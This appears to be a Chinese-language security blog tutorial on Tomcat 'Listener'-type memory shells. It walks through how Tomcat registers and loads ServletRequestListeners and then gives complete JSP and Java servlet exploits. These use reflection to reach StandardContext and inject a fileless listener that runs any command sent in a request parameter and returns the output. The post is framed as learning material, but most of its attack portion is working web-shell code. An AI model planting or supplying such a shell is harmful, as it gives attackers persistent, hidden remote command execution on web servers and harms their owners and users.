前言

新年快乐捏,也是想起来继续学习了。今天来聊聊listener型的内存马。
先回忆一下listener都会干些什么?

Listener(观察者)

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
这里介绍七个个listener,

  • ServletContextListener:用于监听 ServletContext 对象的创建和销毁事件,可以在 ServletContext 对象初始化时执行一些初始化代码,也可以在 ServletContext 对象销毁时执行一些清理代码。
  • ServletContextAttributeListener:用于监听 ServletContext 对象中属性的添加、删除和替换事件,可以在属性添加时执行一些逻辑处理,比如更新配置信息等;在属性删除时执行一些清理操作,比如释放资源等。
  • HttpSessionListener:用于监听 HttpSession 对象的创建和销毁事件,可以在 HttpSession 对象初始化时执行一些初始化代码,也可以在 HttpSession 对象销毁时执行一些清理代码。
  • HttpSessionAttributeListener:用于监听 HttpSession 对象中属性的添加、删除和替换事件,可以在属性添加时执行一些逻辑处理,比如更新用户信息等,在属性删除时执行一些清理操作,比如清空数据等。
  • HttpSessionActivationListener:用于监听 HttpSession 对象的钝化和活化事件,可以在 HttpSession 对象钝化时执行一些清理操作,比如将 Session 中的数据写入硬盘等,在 HttpSession 对象活化时执行一些初始化代码,比如重新读取数据等。
  • ServletRequestListener:用于监听 HttpServletRequest 对象的创建和销毁事件,可以在 HttpServletRequest 对象初始化时执行一些初始化代码,也可以在 HttpServletRequest 对象销毁时执行一些清理代码。
  • ServletRequestAttributeListener:用于监听 HttpServletRequest 对象中属性的添加、删除和替换事件,可以在属性添加时执行一些逻辑处理,比如更新请求参数等,在属性删除时执行一些清理操作,比如释放资源等。
    主要作用就是监听

listener的实现

在看完listener的作用之后,最适合作为内存马的接口其实就是ServletRequestListener这个接口,因为它是用于监听 HttpServletRequest 对象的创建和销毁事件,这个特性导致当用户进行资源访问时,肯定会和服务端进行交互,这样就会触发ServletRequestListener#requestInitialized()方法,我们来写个小demo实现一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import javax.servlet.ServletRequestEvent;  
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener("/weblistener")
public class Listener implements ServletRequestListener {

public Listener(){}


@Override
public void requestDestroyed(ServletRequestEvent arg0) {}

@Override
public void requestInitialized(ServletRequestEvent arg0) {
System.out.println("requestInitialized go");
}
}

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE web-app PUBLIC  
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>Archetype Created Web Application</display-name>
<!-- <filter>-->
<!-- <filter-name>Filterdemo</filter-name>-->
<!-- <filter-class>Filterdemo</filter-class>-->
<!-- </filter>-->
<!-- <filter-mapping>-->
<!-- <filter-name>Filterdemo</filter-name>-->
<!-- <url-pattern>/demo1</url-pattern>-->
<!-- </filter-mapping>-->
<listener>
<listener-class>Listener</listener-class>
</listener></web-app>

当我们访问路径时会执行sout,
image.png

listener执行的分析

listener的获取和加载过程

获取

这个时候,进行调试分析的话,我们一般打断点,就是打在requestInitialized这个方法下,但是从这个方法中,我们看不到listener的获取过程,只能看到如何调用到requestInitialized方法的
image.png
在看到Drunkbaby师傅的博客之后,发现listener的注册是从ContextConfig类开始的,这个类会对配置文件进行读取,所以我们可以从这个类开始分析一下,从web.xml中读取到listener。
image.png
我们可以看到这里的configureContext方法接受的是webxml,所以我们从这里开始分析。

image.png
我们打断点调试,中间的过一下,是对servlet和filter组件的读取,然后,会发现这里获取到了listener,然后走到了addApplicationListener方法。这里大概就是添加一下listener到context里,方便接下来加载取出使用。

加载

然后就是启动应用时对listener的加载,加载的话是从listenerstart这个方法开始的(这里,我找了一会,有点复杂,没看懂整个调用到listenerStart的流程,就不看了,直接断点了。)
image.png
这里直接是在standardContext的listenerStart方法里调用了findApplicationListeners()方法,这个方法返回的就是我们add的listener。类似于filtermap和filterconfig的获取。在把这个listener给到listeners数组,继续进行接下来的逻辑(加载)。

requestInitialized调用过程

image.png
我们从fireRequestInitEvent()方法开始分析
image.png
getApplicationEventListeners(),看名字也知道这是获取listener。我们可以跟进去看一下。
image.png
image.png
这里很明显是调用了addApplicationEventListener方法将listen添加进去然后赋值给instances数组。
image.png
最后调用到requestInitialized方法。

总结

先是启动之前会对web.xml里的配置进行读取,读取listener,然后对listener进行加载。加载之后使用,在从数组中获取每个listener,调用requestInitialized方法,进行攻击。

listener内存马exp的编写

内存马怎么写呢?通过上述分析,我们知道了恶意代码执行的位置是调用requestInitialized方法,而且添加Listener也很简单,调用addApplicationEventListener()方法就可以了。
所以整个一顺序就是:

  1. 先获取到StandardContext类
  2. 写好恶意Listener
  3. 通过调用StandardContext的addApplicationEventListener()方法来添加我们的恶意Listener

我们先来写一个恶意的Listener的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.catalina.connector.Request;  
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;

import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

@WebListener("/*")
public class Listener implements ServletRequestListener {

public Listener() {
}


@Override
public void requestDestroyed(ServletRequestEvent arg0) {
}

@Override
public void requestInitialized(ServletRequestEvent arg0) {
System.out.println("requestInitialized go");
try{
//先获取基础请求对象
ServletRequest servletRequest = arg0.getServletRequest();
//强转为RequestFacade,从RequestFacade获得Request对象(核心Request对象)
RequestFacade servletRequest1 = (RequestFacade) servletRequest;
Class<?> aClass = Class.forName("org.apache.catalina.connector.RequestFacade");
Field declaredField = aClass.getDeclaredField("request");
declaredField.setAccessible(true);
Request o = (Request)declaredField.get(servletRequest1);
Response response = o.getResponse();

if(o.getParameter("cmd")!=null){
InputStream cmd = Runtime.getRuntime().exec(o.getParameter("cmd")).getInputStream();
int len;
byte[] buffer = new byte[1024];
while ((len = cmd.read(buffer)) != -1) {
response.getOutputStream().write(buffer, 0, len);
}
}
}
catch(Exception e){
e.printStackTrace();}
}
}

servlet还是用的之前的

image.png

Exp

这是jsp的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<%@ page import="java.util.logging.Filter" %>  
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %><%--
Created by IntelliJ IDEA. User: LXu2n Date: 2026/2/19 Time: 22:11 To change this template use File | Settings | File Templates.--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
//获取standardcontext
ServletContext servletContext = request.getServletContext();
Class<? extends ServletContext> aClass = servletContext.getClass();
Field declaredField = aClass.getDeclaredField("context");
declaredField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) declaredField.get(servletContext);
Class<? extends ApplicationContext> aClass1 = applicationContext.getClass();
Field declaredField1 = aClass1.getDeclaredField("context");
declaredField1.setAccessible(true);
StandardContext standardContext = (StandardContext) declaredField1.get(applicationContext); //listener
ServletRequestListener servletRequestListener = new ServletRequestListener(){
public void requestDestroyed(ServletRequestEvent sre) {}
public void requestInitialized(ServletRequestEvent sre) {
try{
ServletRequest servletRequest = sre.getServletRequest(); RequestFacade servletRequest1 = (RequestFacade) servletRequest; Class<? extends RequestFacade> aClass2 = servletRequest1.getClass();
Field declaredField2 = aClass2.getDeclaredField("request");
declaredField2.setAccessible(true);
Request request1 = (Request) declaredField2.get(servletRequest1); Response response1 = request1.getResponse();
if(request1.getParameter("hhh")!=null){
InputStream cmd = Runtime.getRuntime().exec(request1.getParameter("hhh")).getInputStream();
int len;
byte[] buffer = new byte[1024];
while((len=cmd.read(buffer))!=-1){
response1.getOutputStream().write(buffer, 0, len);
} } } catch (Exception e) {
e.printStackTrace(); } } };
standardContext.addApplicationEventListener(servletRequestListener);

%>

<html>
<head>
<title>Title</title>
</head>
<body>

</body>
</html>

image.png

这是java的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import org.apache.catalina.connector.Request;  
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

@WebServlet(urlPatterns = "/listenerexp")
public class ServletListenerexp extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("Servletdemo3 GET");
try{
ServletContext servletContext = req.getServletContext();
Class<? extends ServletContext> aClass = servletContext.getClass();
Field declaredField = aClass.getDeclaredField("context");
declaredField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) declaredField.get(servletContext);

Class<? extends ApplicationContext> aClass1 = applicationContext.getClass();
Field declaredField1 = aClass1.getDeclaredField("context");
declaredField1.setAccessible(true);
StandardContext standardContext = (StandardContext) declaredField1.get(applicationContext);

ServletRequestListener servletRequestListener = new ServletRequestListener() {
public void requestDestroyed(ServletRequestEvent sre) {}
public void requestInitialized(ServletRequestEvent sre) {
try{
ServletRequest servletRequest = sre.getServletRequest();
RequestFacade servletRequest1 = (RequestFacade) servletRequest;
Class<? extends RequestFacade> aClass2 = servletRequest1.getClass();
Field declaredField2 = aClass2.getDeclaredField("request");
declaredField2.setAccessible(true);
Request request = (Request) declaredField2.get(servletRequest1);
Response response = request.getResponse();

if(request.getParameter("hshybb1")!=null){
InputStream hshybb1 = Runtime.getRuntime().exec(request.getParameter("hshybb1")).getInputStream();
int len;
byte[] buffer = new byte[1024];
while ((len=hshybb1.read(buffer))!=-1){
response.getOutputStream().write(buffer, 0, len);
}
}

}catch (Exception e){
e.printStackTrace();
}
}
};
standardContext.addApplicationEventListener(servletRequestListener);
}catch (Exception e){
e.printStackTrace();
}
}

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException{
System.out.println("Servletdemo3 POST");
}


}

image.png

参考

Java内存马系列-04-Tomcat 之 Listener 型内存马 | Drunkbaby’s Blog